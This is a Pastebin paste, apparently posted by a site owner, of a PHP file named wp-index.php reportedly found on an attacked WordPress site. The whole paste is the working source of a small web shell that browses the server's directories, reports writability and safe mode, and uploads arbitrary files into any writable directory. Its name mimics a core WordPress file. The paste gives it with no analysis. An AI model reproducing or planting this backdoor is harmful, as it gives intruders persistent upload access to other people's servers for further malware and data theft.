Advertisement
candasm

attacked wordpress uploaded wp-index.php

Aug 26th, 2014
446
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.00 KB | None | 0 0
  1. <?php
  2. echo"<script>
  3.     var d = document;
  4.     function g(c) {
  5.         d.mf.c.value=c;
  6.         d.mf.submit();
  7.     }
  8. </script>";
  9. echo PHP_OS;
  10. if(strtoupper(substr(PHP_OS, 0, 3) ) == "WIN")
  11.     $os = 'win';
  12. else
  13.     $os = 'nix';
  14.  
  15. $home_cwd = @getcwd();
  16. if(isset($_POST['c']))
  17.     @chdir($_POST['c']);
  18. $cwd = @getcwd();
  19. if($os == 'win') {
  20.     $home_cwd = str_replace("\\", "/", $home_cwd);
  21.     $cwd = str_replace("\\", "/", $cwd);
  22.     echo "<!-- <td><nobr>Windows --!>";
  23.     echo "<!-- g('FilesMan','c:/') --!>";
  24. }
  25.  
  26. $safe_mode = @ini_get('safe_mode');
  27.     if(!$safe_mode) {
  28.         echo "<!-- Safe mode:</span> <b>OFF</b> --!>\n";
  29.         echo "<!-- Safe mode:</span> <b>OFF</b> --!>\n";
  30.     }
  31.  
  32.  
  33. if($cwd[strlen($cwd)-1] != '/')
  34.     $cwd .= '/';
  35.  
  36. echo "t23ijmed096 Path: ".htmlspecialchars($cwd)."<input type=hidden name=c value='".htmlspecialchars($cwd) ."'><hr>";
  37. if (!is_writable($cwd)) {
  38.     echo "<font color=red>(Not writable)</font><br>";
  39. }
  40. if($_POST['p1'] === 'uploadFile') {
  41.     if(!@move_uploaded_file($_FILES['f']['tmp_name'], $cwd.$_FILES['f']['name']))
  42.         echo "Can't upload!<br />";
  43. }
  44.  
  45. $ls = wscandir($cwd);
  46. echo "<form method=post name=mf style='display:none;'><input type=hidden name=c></form>";
  47. foreach ($ls as $f) {
  48.     if (is_dir($f)) {
  49.         echo "<a href=# onclick='g(\"".$cwd.$f."\");'>".$f."</a>";
  50.         if (is_writable($cwd.$f)) {
  51.             echo "<!-- 'filename.php','chmod')\"><font color=green> --!> ";
  52.         } else {
  53.             echo "<!-- 'filename.php','chmod')\"><font color=white> --!> ";
  54.         }
  55.         echo "<br />";
  56.     } else {
  57.         $files[] = $f;
  58.     }
  59. }
  60. foreach ($files as $file) {
  61.     echo $file."<br />";
  62. }
  63. echo    "<hr><form method='post' ENCTYPE='multipart/form-data'>
  64.         <input type=hidden name=c value='" . $cwd ."'>
  65.         <input type=hidden name=p1 value='uploadFile'>
  66.         <input type=file name=f><input type=submit value='>>'></form>";
  67.  
  68. function wscandir($cwdir) {
  69.     if(function_exists("scandir")) {
  70.         return scandir($cwdir);
  71.     } else {
  72.         $cwdh  = opendir($cwdir);
  73.         while (false !== ($filename = readdir($cwdh)))
  74.             $files[] = $filename;
  75.         return $files;
  76.     }
  77. };
  78. die;
  79. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement